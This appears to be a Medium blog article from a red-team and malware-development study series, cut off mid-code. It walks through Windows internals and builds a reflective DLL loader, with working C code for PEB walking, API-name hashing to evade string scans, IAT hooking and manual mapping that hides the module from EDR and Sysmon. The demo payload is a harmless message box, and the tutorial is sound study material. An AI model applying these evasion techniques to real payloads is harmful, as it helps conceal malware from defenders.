            <guid isPermaLink="false">https://medium.com/p/97df1f663ee9</guid>
            <category><![CDATA[cpp]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[windows-internals]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Yiğit Aydemir]]></dc:creator>
            <pubDate>Fri, 23 Oct 2026 00:00:29 GMT</pubDate>
            <atom:updated>2026-10-23T23:31:02.713Z</atom:updated>
            <content:encoded><![CDATA[<p>Every Windows process carries a list of the modules loaded into it — main.exe, ntdll.dll, kernel32.dll — chained together in a structure the OS keeps inside the process’s own memory. Scanners walk it, EDRs watch it, Sysmon logs every addition to it.</p><p>The screenshot below shows a MessageBoxA that popped from a DLL called testdll.dll. In System Informer&#39;s module list of that process, testdll.dll does not exist. No LDR_DATA_TABLE_ENTRY, no kernel image-load callback, no Sysmon Event ID 7. The code ran anyway.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8-Z4Cm9hoMfdW2fG.png" /></figure><p>This article is the full path I took to get there — not by copying a loader from a framework, but by rebuilding, layer by layer, what the Windows loader itself does when you call LoadLibrary: the syscall boundary, page permissions, the PEB module lists, the PE file format, the export and import tables, and finally a six-step manual mapper that uses none of the APIs it replaces.</p><p>Everything here comes from my <a href="https://github.com/st4inl3s5/OS-Internals">OS-Internals study repository</a> — labs run on a Windows 11 VM with MSVC, x64dbg, WinDbg, System Informer, and PE-bear. Every address, hash, and byte dump below is real output from those labs.</p><h3>The Only Door to the Kernel</h3><p>Let’s start with the constraint everything else follows from: your code cannot touch RAM, disk, or hardware. On x86_64, the CPU enforces two privilege levels that matter — Ring 3, where your program runs with hardware-blocked access to physical resources, and Ring 0, where the Windows kernel (ntoskrnl.exe) and drivers run with full access. A user-mode program that jumps to a kernel address doesn’t get an error; it gets an immediate 0xC0000005 (STATUS_ACCESS_VIOLATION) raised by the CPU itself.</p><p>So how does notepad.exe ever allocate memory or open a file? Through exactly one door: the syscall instruction. When Ring 3 code executes syscall, the CPU switches to Ring 0, jumps to a fixed kernel entry point, and the kernel decides whether your request is allowed.</p><p>Now the layering. When you call VirtualAlloc in C, the machine code you execute does not live in your binary. Three DLLs are mapped into every standard Windows process, and your call walks down through them:</p><pre>1. main.exe            calls VirtualAlloc(NULL, 4096, 0x3000, 0x04)<br>2. kernel32.dll        the public Win32 front door; mostly forwards to -&gt;<br>3. kernelbase.dll      the actual Win32 logic; converts your friendly<br>                       arguments into NT structures, passes (HANDLE)-1<br>                       (&quot;current process&quot;), &amp;base, &amp;size<br>4. ntdll.dll           NtAllocateVirtualMemory: loads the syscall number<br>                       into EAX and executes &#39;syscall&#39;<br>   -------------------- CPU switches Ring 3 -&gt; Ring 0 --------------------<br>5. ntoskrnl.exe        KiSystemCall64: reads EAX, indexes the SSDT,<br>                       dispatches to the kernel&#39;s NtAllocateVirtualMemory<br>6. ntoskrnl.exe        updates page tables / VAD tree, zeroes memory,<br>                       writes the allocated address back to user mode</pre><p>Why three DLLs for one call? Windows NT was designed to host multiple OS personalities (Win32, POSIX, OS/2). The stable, documented surface is Win32 (kernel32 → kernelbase); the true internal interface is the Native API in ntdll, deliberately undocumented so Microsoft could change the kernel between releases without breaking applications. Around Windows 7, most of kernel32’s implementation moved into kernelbase.dll; today kernel32 often just forwards.</p><p>If you open ntdll.dll in a debugger and look at NtAllocateVirtualMemory, the entire function is six instructions:</p><pre>mov r10, rcx ; 1. copy 1st argument (RCX) into R10<br>mov eax, 18h ; 2. System Service Number (SSN = 0x18) into EAX <br>test byte ptr [7FFE0308h], 1 ; 3. legacy check, always 0 on modern x64 <br>jne short +3 ; 4. never jumps on modern 64-bit Windows <br>syscall ; 5. enter Ring 0; kernel reads EAX + R10, RDX, R8, R9 <br>ret ; 6. return; EAX holds the NTSTATUS code</pre><p>Two of those lines reward a closer look. mov r10, rcx exists because the x64 calling convention passes the first four arguments in RCX, RDX, R8, R9 - but the syscall instruction destroys RCX by definition (the CPU saves the return address there). So the stub parks the first argument in R10 first. And mov eax, 18h is the System Service Number: ~470 Nt* functions all execute the same syscall instruction, and the kernel tells them apart by the number in EAX, used as an index into the SSDT (System Service Descriptor Table).</p><p>In my first lab I called NtAllocateVirtualMemory directly and asked for <strong>100 bytes</strong>. The kernel set regionSize to <strong>4096</strong> - 4 KB is the smallest unit of memory the MMU can map or protect, so that&#39;s the granularity you get. In x64dbg, the breakpoint on the function showed mov eax, 18h exactly as documented, with neighboring stubs spaced 0x20 bytes apart:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lDvztEBravIKxxY5.png" /></figure><p>Calling the Native API directly also forces its conventions on you, and they explain a lot about how the OS thinks:</p><ul><li><strong>NTSTATUS return codes, not pointers.</strong> 0x00000000 is success; negative values like 0xC0000005 are failures.</li><li><strong>Output parameters are </strong><strong>IN OUT pointers.</strong> You declare PVOID base = NULL; SIZE_T size = 100; and pass &amp;base, &amp;size. The kernel writes results into your variables in place - that&#39;s how you get the allocated address out of a function whose return value is a status code.</li><li><strong>One syscall serves both </strong><strong>VirtualAlloc and </strong><strong>VirtualAllocEx.</strong> The difference is only the first parameter, ProcessHandle; for your own process you pass the pseudo-handle (HANDLE)-1.</li></ul><h3>Why EDRs hook the user-mode side</h3><p>This architecture also explains where security products sit. An EDR would love to intercept memory operations in the kernel — but PatchGuard blue-screens any driver that patches ntoskrnl (learned the hard way by XP-era antivirus, whose SSDT hooks caused epidemic BSODs), and Microsoft deliberately provides <strong>no synchronous kernel callbacks for memory APIs</strong>: process and image-load events are rare enough to block on ( PsSetCreateProcessNotifyRoutineEx, PsSetLoadImageNotifyRoutine), but memory allocation and permission changes happen thousands of times per second system-wide. Synchronous inspection there would crawl the whole OS. Kernel ETW-Ti telemetry exists, but it&#39;s asynchronous - the syscall has already completed by the time the event is read.</p><p>So EDRs inject a DLL into your process and overwrite the first bytes of ntdll &#39;s stubs - living, ironically, in memory you can inspect:</p><pre>Normal ntdll!NtAllocateVirtualMemory:    Hooked by an EDR:<br>  mov r10, rcx                             jmp &lt;EDR_inspect_function&gt;  ; first 5 bytes<br>  mov eax, 18h                             ...<br>  syscall                                  syscall</pre><p>Keep that asymmetry in mind. It’s the reason a loader that avoids the monitored entry points is quiet by default.</p><h3>Pages, Permissions, and W^X</h3><p>The kernel’s answer to “give me memory” is a page. Every 64-bit process sees its own 128 TB user-mode address space ( 0x00000000&#39;00000000- 0x00007FFF&#39;FFFFFFFF), with the kernel mapped in the top half ( 0xFFFF8000&#39;... and up), unreachable from Ring 3. The CPU&#39;s MMU translates virtual to physical addresses through page tables in 4,096-byte units - which is why the 100-byte request became 4,096, why every page-aligned address ends in 000, and why <strong>permissions apply to whole pages</strong>. You cannot make half a page read-only.</p><p>System Informer shows three properties for every region, and two of them matter a great deal later:</p><ul><li><strong>State</strong> — Free (touching it faults), Reserved (address space held, no backing - still faults), Committed (backed by RAM or the pagefile, usable).</li><li><strong>Type</strong> — Image (a PE mapped from disk by the OS loader), Mapped (a data file or shared section), Private (allocated at runtime by VirtualAlloc - nothing on disk backs it).</li></ul><p>Here is the scanner heuristic that runs through this whole field: <strong>legitimate executable code almost always lives in </strong><strong>Image memory.</strong> A page that is Private <em>and</em> executable is, by default, an anomaly - machine code that came from no file. Tools like PE-sieve and Moneta hunt exactly that combination, and an entire genre of evasion technique exists to answer it.</p><p>Then there’s DEP. Every page-table entry carries an NX (no-execute) bit. PAGE_READWRITE sets it; the nanosecond RIP enters a non-executable page, the CPU raises 0xC0000005 — with “Faulting module name: unknown” in Event Viewer, because the faulting address belongs to no file. I tested this by writing six bytes of raw machine code into an RW page and calling it:</p><pre>mov eax, 1337     ; B8 39 05 00 00  (little-endian: 0x539 = 1337)<br>ret               ; C3</pre><p>The crash is instant. The fix is not PAGE_EXECUTE_READWRITE - W^X (Write XOR Execute) is the principle that no legitimate page needs to be writable and executable at the same time, and an RWX allocation is one of the loudest signals an EDR can see. The disciplined pattern is a two-step:</p><ol><li>Allocate PAGE_READWRITE, copy your code in.</li><li>Flip to PAGE_EXECUTE_READ with NtProtectVirtualMemory, then call it.</li></ol><p>After the flip, System Informer shows the page as Private: Commit, protection RX, containing exactly b8 39 05 00 00 c3 — and the call returns 1337 in EAX:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2VAWH1euUjvMwH9R.png" /></figure><p>One Native API trap worth its own warning: NtProtectVirtualMemory&#39;s fifth parameter, OldProtect, is a <strong>pointer to a </strong><strong>ULONG the kernel writes the previous protection into</strong>. Pass NULL and the call fails with 0xC0000005 - the kernel is trying to write through your pointer.</p><h3>Finding Modules Without Asking the OS</h3><p>Sooner or later every loader needs to answer: <em>where is </em><em>ntdll.dll in this process?</em> The obvious call is GetModuleHandle - but here&#39;s the thing I wanted to verify for myself: GetModuleHandle never enters the kernel at all. Everything it needs is already inside your process, in two structures the kernel builds for you at creation time:</p><ul><li>The <strong>PEB</strong> (Process Environment Block), one per process, holding BeingDebugged (offset +0x02 - the entire implementation of IsDebuggerPresent()), the executable&#39;s base (+0x10), and most importantly Ldr (+0x18).</li><li>The <strong>TEB</strong> (Thread Environment Block), one per thread, holding the thread ID, last-error value, and stack bounds.</li></ul><p>The reason they live in Ring 3 is performance: GetLastError, GetCurrentProcessId, GetModuleHandle would otherwise each cost a full Ring 3 → Ring 0 round trip. Instead, when the kernel schedules a thread, it points the <strong>GS segment register</strong> base at that thread&#39;s TEB. Two offsets do all the work - gs:[0x30] is a self-pointer to the TEB, and gs:[0x60] is the PEB. In C on MSVC that&#39;s one intrinsic, __readgsqword(0x60), which compiles to a single mov rax, gs:[60h].</p><h3>The module list is a ring of keys</h3><p>PEB-&gt;Ldr points to PEB_LDR_DATA, which owns three circular doubly-linked lists of every loaded module - in load order, memory order, and initialization order. The first entry of InLoadOrderModuleList is your own .exe, then ntdll.dll, kernel32.dll, kernelbase.dll.</p><p>Windows linked lists are not textbook linked lists. A LIST_ENTRY is a 16-byte { Flink, Blink } pair <strong>embedded inside</strong> a larger struct - and Flink points to the <em>matching </em><em>LIST_ENTRY field inside the next struct</em>, not to the start of that struct. For LDR_DATA_TABLE_ENTRY, that matters enormously depending on which list you walk:</p><pre>+0x00  InLoadOrderLinks           &lt;- walking InLoadOrderModuleList ends up here<br>+0x10  InMemoryOrderLinks         &lt;- walking InMemoryOrderModuleList lands 0x10 in<br>+0x20  InInitializationOrderLinks<br>+0x30  DllBase                    &lt;- the HMODULE: what we actually want<br>+0x38  EntryPoint<br>+0x40  SizeOfImage<br>+0x48  FullDllName   (UNICODE_STRING)<br>+0x58  BaseDllName   (UNICODE_STRING)</pre><p>Walk InLoadOrderModuleList and Flink lands on offset +0x00 - the struct&#39;s start - so a PLIST_ENTRY casts straight to PLDR_DATA_TABLE_ENTRY with no pointer math. Walk InMemoryOrderModuleList and you&#39;re 16 bytes in, forever subtracting 0x10 (that&#39;s what CONTAINING_RECORD is for). This is why loaders walk the load-order list.</p><p>Because the list is circular, termination is “when the cursor comes back to the head.” And the head is not a module — it’s a bare 16-byte anchor inside PEB_LDR_DATA itself:</p><pre>+---------------------------------------------+<br>| PEB_LDR_DATA                                |<br>|   +0x10: InLoadOrderModuleList (Flink) &lt;----+--- the keychain RING<br>+---------------------------------------------+    (no DllBase, not a module)<br>                        |<br>                        | listHead-&gt;Flink<br>                        v<br>+---------------------------------------------+<br>| LDR_DATA_TABLE_ENTRY #1  (main.exe)         |    the first real key<br>|   +0x00: InLoadOrderLinks (Flink)           |<br>|   +0x30: DllBase = 0x7FF7...                |<br>|   +0x58: BaseDllName = &quot;main.exe&quot;           |<br>+---------------------------------------------+<br>                        |  Flink ... until the last module&#39;s<br>                        v  Flink wraps back to the head: stop there</pre><p>My lab walked this ring, printed every module, and matched the results against GetModuleHandleW byte for byte - then rebuilt the walk as a function that resolves a module by name with zero API calls:</p><pre>HMODULE CustomGetModuleHandleA(const char* targetModuleName)<br>{<br>    ULONG64 pebAddress = __readgsqword(0x60);<br>    PPEB peb = (PPEB)pebAddress;<br>    PLIST_ENTRY listHead = &amp;peb-&gt;Ldr-&gt;InLoadOrderModuleList;<br>    PLIST_ENTRY currEntry = listHead-&gt;Flink;<br>    while(currEntry != listHead)<br>    {<br>        PLDR_DATA_TABLE_ENTRY currLdrEntry = (PLDR_DATA_TABLE_ENTRY)currEntry;<br>        char* currModuleName = (char*)calloc(currLdrEntry-&gt;BaseDllName.Length, sizeof(char));<br>        wcstombs(currModuleName, currLdrEntry-&gt;BaseDllName.Buffer, currLdrEntry-&gt;BaseDllName.Length);<br>        if(!targetModuleName || !strcmpi(targetModuleName, currModuleName))<br>        {<br>            free(currModuleName);<br>            return (HMODULE)currLdrEntry-&gt;DllBase;<br>        }<br>        free(currModuleName);<br>        currEntry = currEntry-&gt;Flink;<br>    }<br>    return NULL;<br>}</pre><p>(The structs — UNICODE_STRING, PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY, PEB up to +0x18 - are defined by hand rather than pulled from &lt;winternl.h&gt;, which Microsoft deliberately guts with Reserved byte arrays. Sourced from ntdoc and WinDbg&#39;s dt ntdll!_PEB.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c9f14ord4DP03e6p.png" /></figure><p>The output settled the load order question precisely: main.exe → ntdll.dll → KERNEL32.DLL → KERNELBASE.dll, with my custom function and the Win32 API returning identical addresses. Remember this function - in the final loader, it&#39;s how dependencies get found without waking a single EDR hook.</p><h3>The Blueprint: PE Headers and the Disk-to-Memory Stretch</h3><p>The next question: what is actually <em>at</em> a module’s base address? Not instructions — a blueprint. Before the loader runs any code it reads the PE (Portable Executable) headers to learn the architecture, how much memory to reserve, which DLLs to resolve, and where to point RIP.</p><p>The navigation chain is short. Byte zero is the 64-byte IMAGE_DOS_HEADER, of which the loader cares about exactly two fields: e_magic ( MZ, 0x5A4D) and e_lfanew at +0x3C - a file offset pointing at the real headers. That&#39;s where IMAGE_NT_HEADERS64 sits: a PE\0\0 signature, a 20-byte FileHeader (architecture, <strong>NumberOfSections</strong>), and the 240-byte OptionalHeader - &quot;optional&quot; only in a 1993 naming accident; every real binary has one, and it is the loader&#39;s instruction manual:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*PE1dichNhFvXI4edlL8lVA.png" /></figure><p>One C pointer-arithmetic trap is worth quoting because it crashes every PE parser once: e_lfanew is a <em>byte offset</em>, and pointer arithmetic in C scales by sizeof(*ptr). dosHeader + dosHeader-&gt;e_lfanew with a 64-byte struct jumps 0xF0 × 64 bytes past the base - 15 KB into nowhere. The rule: add offsets to a BYTE* cast, never to a struct*.</p><h3>The stretch: why a file on disk ≠ an image in memory</h3><p>The single most important concept in the PE format: <strong>a PE file is packed for disk and stretched for memory, and the same bytes live at different offsets in each.</strong></p><p>On disk, sections sit on 512-byte (FileAlignment) boundaries to keep files small. In memory, the loader stretches them onto 4,096-byte page boundaries (SectionAlignment) — because that’s the only granularity at which .text can be RX and .data can be RW as separate pages:</p><pre>ON DISK (FileAlignment = 0x200)         IN MEMORY (SectionAlignment = 0x1000)<br>+---------------------------+ 0x0000    +---------------------------+ +0x0000<br>| PE Headers                |           | PE Headers                |<br>+---------------------------+ 0x0400    | (zero-padded to 0x1000)   |<br>| .text   (File Offset      |           +---------------------------+ +0x1000<br>|          = 0x0400)        |           | .text   (RVA 0x1000, RX)  |<br>+---------------------------+ 0x0A00    +---------------------------+ +0x2000<br>| .rdata  (File Offset      |           | .rdata  (RVA 0x2000, R)   |<br>|          = 0x0A00)        |           +---------------------------+ +0x3000<br>+---------------------------+ 0x1000    | .data   (RVA 0x3000, RW)  |<br>| .data   (File Offset      |           +---------------------------+<br>|          = 0x1000)        |<br>+---------------------------+           VA = ImageBase + RVA</pre><p>Hence the three address vocabularies of every PE discussion: <strong>VA</strong> (the live 64-bit pointer), <strong>RVA</strong> (offset from the base — RVA = VA - ImageBase; nearly every header field stores one), and <strong>file offset</strong> (where the bytes sit on disk - PointerToRawData). Read a DLL off disk into a buffer and an RVA like 0x1000 is <em>not</em> at byte 0x1000 of your buffer; inspect a module already mapped in memory and it literally is base + RVA.</p><p>Each 40-byte IMAGE_SECTION_HEADER carries the translation for one section: VirtualAddress (RVA), PointerToRawData (file offset), SizeOfRawData, and Characteristics (R/W/X flags). PE-bear makes the split directly visible:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*bzPybIIzum8ePc8x.png" /></figure><p>A detail that pays off later: my main.exe had .text at RVA 0x1000 but file offset 0x400 - the stretch in action. ntdll.dll, compiled with both alignments equal to 0x1000, shows identical values until .data, whose VirtualSize exceeds SizeOfRawData (uninitialized globals cost disk nothing).</p><h3>Resolving Exports Without Strings</h3><p>GetProcAddress is the next &quot;API&quot; that turns out not to need the OS. It is 100% user-mode PE parsing: jump to DataDirectory[0] in the module&#39;s .rdata, walk the Export Directory&#39;s arrays, return base + RVA.</p><p>The export table centers on a 40-byte IMAGE_EXPORT_DIRECTORY and <strong>three parallel arrays</strong>:</p><ol><li><strong>AddressOfNames</strong> - DWORD[], each an RVA to an ASCII function name. Sorted alphabetically (so the loader can binary-search).</li><li><strong>AddressOfNameOrdinals</strong> - (2-byte elements - a size trap that silently returns the wrong function if you cast it to DWORD*).</li><li><strong>AddressOfFunctions</strong> - DWORD[], the actual EAT: RVAs to machine code, ordered by ordinal.</li></ol><p>Two arrays instead of one because names are alphabetical while functions are ordinal-ordered; the little WORD bridge array converts between the orderings. A lookup is three hops:</p><pre>AddressOfNames              AddressOfNameOrdinals     AddressOfFunctions (EAT)<br>(DWORD* nameRVAs)           (WORD* ordinals)          (DWORD* funcRVAs)<br>+---------------------+     +-----------------+       +--------------------------+<br>| [0] -&gt; &quot;AlphaFunc&quot;  | --&gt; | [0] WORD = 2    | --+   | [0] 0x1010 (nameless)    |<br>| [1] -&gt; &quot;BetaFunc&quot;   | -+  | [1] WORD = 3    | --+-&gt; | [1] 0x1040 (GammaFunc!)  |<br>| [2] -&gt; &quot;GammaFunc&quot;  | -+&gt; | [2] WORD = 1    | ---+  | [2] 0x1080 (AlphaFunc)   |<br>+---------------------+  |  +-----------------+   | |  | [3] 0x10C0 (BetaFunc)    |<br>                         +----------------------|-+&gt;  +--------------------------+<br>                         &#39;---- ordinals[2] = 1 ------^ funcRVAs[1] = GammaFunc&#39;s RVA</pre><p>Find &quot;GammaFunc&quot; at name index i = 2; read ordinals[2] = 1; take funcRVAs[1]. Skip the middle array and funcRVAs[2] hands you AlphaFunc. In the real thing - ntdll.dll with 2,523 exported functions - my lab measured it exactly: NtAllocateVirtualMemory sits at name index i = 221, but ordinals[221] = 222, because one nameless ordinal-only export sits ahead of it. Skipping the bridge would have resolved the neighboring syscall stub.</p><p>Two refinements complete the picture. <strong>Forwarded exports</strong>: if a function’s RVA lands <em>inside the export directory’s own bounds</em>, it isn’t code at all — it’s a string like &quot;NTDLL.RtlAllocateHeap&quot; telling you to go ask another DLL (this is literally how much of kernel32 &quot;implements&quot; things). And <strong>API hashing</strong>: passing hash constants instead of name strings, so the binary never contains &quot;NtAllocateVirtualMemory&quot; in plaintext for a YARA rule or an analyst&#39;s strings run to find. DJB2 is the classic - multiply by 33, add the character:</p><pre>DWORD HashStringDjb2(const char* str)<br>{<br>    ULONG hash = 5381;<br>    while(*str)<br>    {<br>        hash = ((hash &lt;&lt; 5) + hash) + *str;<br>        str++;<br>    }<br>    return hash;<br>}</pre><p>The custom resolver is the EAT walk in code — same three arrays, same WORD cast, comparing hashes instead of strings:</p><pre>FARPROC CustomGetProcAddressByDjb2Hash(HMODULE baseModule, DWORD targetFuncHash)<br>{<br>    BYTE* baseModuleAddress = (BYTE*)baseModule;<br>    PIMAGE_DOS_HEADER moduleImageDosHeader = (PIMAGE_DOS_HEADER)baseModuleAddress;<br>    PIMAGE_NT_HEADERS64 moduleNtHeaders = (PIMAGE_NT_HEADERS64)(baseModuleAddress + moduleImageDosHeader-&gt;e_lfanew);<br>    PIMAGE_EXPORT_DIRECTORY moduleExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(baseModuleAddress + moduleNtHeaders-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);<br>    DWORD* nameRVAs = (DWORD*)(baseModuleAddress + moduleExportDirectory-&gt;AddressOfNames);<br>    WORD* ordinals = (WORD*)(baseModuleAddress + moduleExportDirectory-&gt;AddressOfNameOrdinals);<br>    DWORD* funcRVAs = (DWORD*)(baseModuleAddress + moduleExportDirectory-&gt;AddressOfFunctions);<br>    for(DWORD i = 0; i &lt; moduleExportDirectory-&gt;NumberOfNames; i++)<br>    {<br>        const char* currFuncName = (const char*)(baseModuleAddress + nameRVAs[i]);<br>        if(targetFuncHash == HashStringDjb2(currFuncName))<br>        {<br>            return (FARPROC)(baseModuleAddress + funcRVAs[ordinals[i]]);<br>        }<br>    }<br>    return NULL;<br>}</pre><p>PE-bear confirmed the numbers end to end — NtAllocateVirtualMemory at ordinal 0xE6, function RVA 0x162040, matching what the walker returned:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fmUGPzXSXML0LaQv.png" /></figure><p>And the hashes my lab computed became constants I would hardcode weeks later:</p><pre>DJB2(&quot;NtAllocateVirtualMemory&quot;) = 0x6793C34C <br>DJB2(&quot;NtProtectVirtualMemory&quot;) = 0x082962C8</pre><h3>The Loader’s Two Write-Chores: IAT and Relocations</h3><p>Everything above is <em>reading</em> a PE. Two structures exist because a loader must also <em>write</em> into the image before it can run — and both become loops in the final loader.</p><h3>The IAT: function pointers the compiler couldn’t know</h3><p>When MSVC compiles MessageBoxA(NULL, &quot;Hello&quot;, &quot;Title&quot;, MB_OK), it cannot emit a direct call - it has no idea where user32.dll will land tomorrow, or which MessageBoxA address Windows 11&#39;s build will have. So the linker reserves an 8-byte slot in .rdata per imported function, and every call site emits call qword ptr [rip + offset_to_slot]. That slot array is the <strong>Import Address Table</strong>. At launch, the OS loader resolves each import and writes the live address into the slot.</p><p>Each imported DLL gets an IMAGE_IMPORT_DESCRIPTOR with <strong>two</strong> parallel thunk arrays, and the duality is the point:</p><pre>BEFORE the loader runs (on disk) — both arrays point at names:<br><br>  OriginalFirstThunk (ILT)              FirstThunk (IAT)<br>  [0] RVA = 0x5000 -&gt; &quot;MessageBoxA&quot;     [0] RVA = 0x5000 -&gt; &quot;MessageBoxA&quot;<br>  [1] RVA = 0x5020 -&gt; &quot;GetAsyncKey...&quot;  [1] RVA = 0x5020 -&gt; &quot;GetAsyncKey...&quot;<br>  [2] 0 (end)                           [2] 0 (end)<br><br>AFTER the loader runs (in memory) — the IAT is overwritten in place:<br><br>  OriginalFirstThunk (ILT)              FirstThunk (IAT)<br>  [0] RVA = 0x5000 -&gt; &quot;MessageBoxA&quot;     [0] 0x00007FFB41238890 -&gt; user32!MessageBoxA<br>  [1] RVA = 0x5020 -&gt; &quot;GetAsyncKey...&quot;  [1] 0x00007FFB41214410 -&gt; user32!GetAsyncKeyState<br>  [2] 0 (end)                           [2] 0 (end)</pre><p>The loader overwrites FirstThunk - the table machine code dereferences - and leaves OriginalFirstThunk untouched as the permanent record of <em>which names</em> the slots correspond to. In a running process, names come from the ILT, pointers live in the IAT.</p><p>A side experiment made the mechanism tangible: walk the import table of my own main.exe, find the MessageBoxA slot, flip its page R → RW (the IAT sits in read-only .rdata - writing it without the flip is an instant access violation), overwrite the slot with my own function, restore R. The next MessageBoxA call landed in my hook, which rewrote the caption before calling the original:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pYjJYyWRiVJQ2SbN.png" /></figure><p>That’s IAT hooking — the same mechanism EDRs use on you, running in a few dozen lines.</p><h3>.reloc: surviving a load address you didn&#39;t choose</h3><p>Most x64 code is position-independent (RIP-relative), but a global pointer initialized to a string’s address carries an absolute 64-bit value, compiled assuming the preferred ImageBase (0x180000000 for our DLL). Load elsewhere — which ASLR essentially guarantees — and every such pointer points at unmapped memory.</p><p>The fix is arithmetic plus a ledger. Compute the <strong>delta</strong>, delta = ActualBase - ImageBase, then walk the Base Relocation Table ( DataDirectory[5], the .reloc section): a series of blocks, one per 4 KB page, each an 8-byte header ( VirtualAddress = page RVA, SizeOfBlock) followed by packed 16-bit entries - upper 4 bits the type ( 10 = IMAGE_REL_BASED_DIR64, &quot;add delta to the 8-byte pointer at this offset&quot;), lower 12 bits the offset within the page:</p><pre>WORD type   = entries[i] &gt;&gt; 12;<br>WORD offset = entries[i] &amp; 0x0FFF;<br>if (type == IMAGE_REL_BASED_DIR64) {<br>    ULONGLONG* patchAddr = (ULONGLONG*)(mappedBase + relocBlock-&gt;VirtualAddress + offset);<br>    *patchAddr += delta;<br>}</pre><p>That’s the whole mechanism. Now we have every piece the real loader uses. Time to be the loader.</p><h3>Building the Reflective Loader</h3><p>Goal: load testdll.dll from a raw file buffer into executable memory <strong>without calling </strong><strong>LoadLibraryA, </strong><strong>GetProcAddress, or leaving the module registered anywhere</strong> - and with final page permissions indistinguishable from a genuine OS mapping.</p><p>First, prove the problem. Read the DLL’s bytes into rawPe with CreateFileA + ReadFile, make the buffer executable, jump to rawPe + AddressOfEntryPoint. Result: 0xC0000005 within milliseconds, for four compounding reasons — each one mapping to a step of the loader:</p><pre>DISK BUFFER rawPe (3,072 bytes, FileAlignment = 0x200)<br>+----------------------------------------------------------------------+<br>| +0x0400  .text  | PROBLEM 1: code compiled for RVA 0x1000, packed    |<br>|                |          at 0x400 — every RIP-relative ref is wrong |<br>| +0x0600  .rdata | PROBLEM 2: IAT FirstThunk[0] holds an RVA to the   |<br>|                |          name &quot;MessageBoxA&quot;, not a function address |<br>| +0x0800  .data  | PROBLEM 3: g_Message = 0x180000000 + 0x2050 —      |<br>|                |          hardcoded preferred base, mapped nowhere   |<br>| whole buffer    | PROBLEM 4: RW heap memory — NX bit kills execution  |<br>+----------------------------------------------------------------------+</pre><p>The payload is deliberately minimal, and deliberately built to <em>exercise</em> every step — two non-const global pointers guarantee .reloc entries exist, one import gives the IAT exactly one slot to patch:</p><pre>#include &lt;windows.h&gt;<br><br>const char* g_Message = &quot;Hello from Manually Mapped testdll.dll!&quot;;<br>const char* g_Title   = &quot;Lab 4.1 - Reflective / Manual Mapping&quot;;<br><br>BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {<br>    if (fdwReason == DLL_PROCESS_ATTACH) {<br>        MessageBoxA(NULL, g_Message, g_Title, MB_OK);<br>    }<br>    return TRUE;<br>}</pre><pre>cl.exe /nologo /LD /GS- testdll.cpp /link /ENTRY:DllMain /NODEFAULTLIB user32.lib</pre><p>No CRT, no stack cookies, entry straight at DllMain: a 3,584-byte DLL with SizeOfImage = 0x6000.</p><h3>The bootstrap: five lines where everything converges</h3><p>Before mapping anything, the loader needs its two NT functions. This is where the whole journey pays off in one look — PEB walk for the module, EAT walk with hardcoded hashes, no strings, no imports, no monitored APIs:</p><pre>GetDesktopWindow();              // benign startup call: forces USER32.dll to load<br>HMODULE hNtdll = CustomGetModuleHandleA(&quot;ntdll.dll&quot;);<br>fnNtAllocateVirtualMemory NtAllocateVirtualMemory =<br>    (fnNtAllocateVirtualMemory)CustomGetProcAddressByDjb2Hash(hNtdll, 0x6793C34C);<br>fnNtProtectVirtualMemory NtProtectVirtualMemory =<br>    (fnNtProtectVirtualMemory)CustomGetProcAddressByDjb2Hash(hNtdll, 0x082962C8);</pre><p>Those two constants were computed in the Phase 2 lab — DJB2(&quot;NtAllocateVirtualMemory&quot;) and DJB2(&quot;NtProtectVirtualMemory&quot;). The .exe contains no API-name strings at all.</p><h3>Steps 1–2: allocate, then stretch</h3><p>Parse the headers in the raw buffer, allocate SizeOfImage bytes of fresh PAGE_READWRITE memory, copy SizeOfHeaders bytes across, then loop over NumberOfSections — the entire “stretch” from the disk-vs-memory diagram, as one memcpy loop:</p><pre>memcpy(mappedBase, rawPe, ntHeaders-&gt;OptionalHeader.SizeOfHeaders);<br>PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);<br>for(WORD i = 0; i &lt; ntHeaders-&gt;FileHeader.NumberOfSections; i++)<br>{<br>    if(sectionHeader[i].SizeOfRawData &gt; 0)<br>    {<br>        BYTE* destSection = mappedBase + sectionHeader[i].VirtualAddress;<br>        BYTE* srcSection  = rawPe      + sectionHeader[i].PointerToRawData;<br>        memcpy(destSection, srcSection, sectionHeader[i].SizeOfRawData);<br>    }<br>}</pre><p>PointerToRawData in, VirtualAddress out. Problems 1 solved: .text now sits at RVA 0x1000 where the compiler promised it would be.</p><h3>Step 3: relocations</h3><p>The delta loop from the previous section, verbatim in the loader — walk .reloc blocks, patch every DIR64 entry:</p><pre>LONGLONG delta = (LONGLONG)(mappedBase - (BYTE*)ntHeaders-&gt;OptionalHeader.ImageBase);<br>IMAGE_DATA_DIRECTORY relocDir = ntHeaders-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];<br>if(delta != 0 &amp;&amp; relocDir.VirtualAddress != 0 &amp;&amp; relocDir.Size &gt; 0)<br>{<br>    PIMAGE_BASE_RELOCATION relocBlock = (PIMAGE_BASE_RELOCATION)(mappedBase + relocDir.VirtualAddress);<br>    while(relocBlock-&gt;VirtualAddress)<br>    {<br>        DWORD count = (relocBlock-&gt;SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);<br>        WORD* entries = (WORD*)((BYTE*)relocBlock + sizeof(IMAGE_BASE_RELOCATION));<br>        for(DWORD i = 0; i &lt; count; i++)<br>        {<br>            WORD type = entries[i] &gt;&gt; 12;<br>            WORD offset = entries[i] &amp; 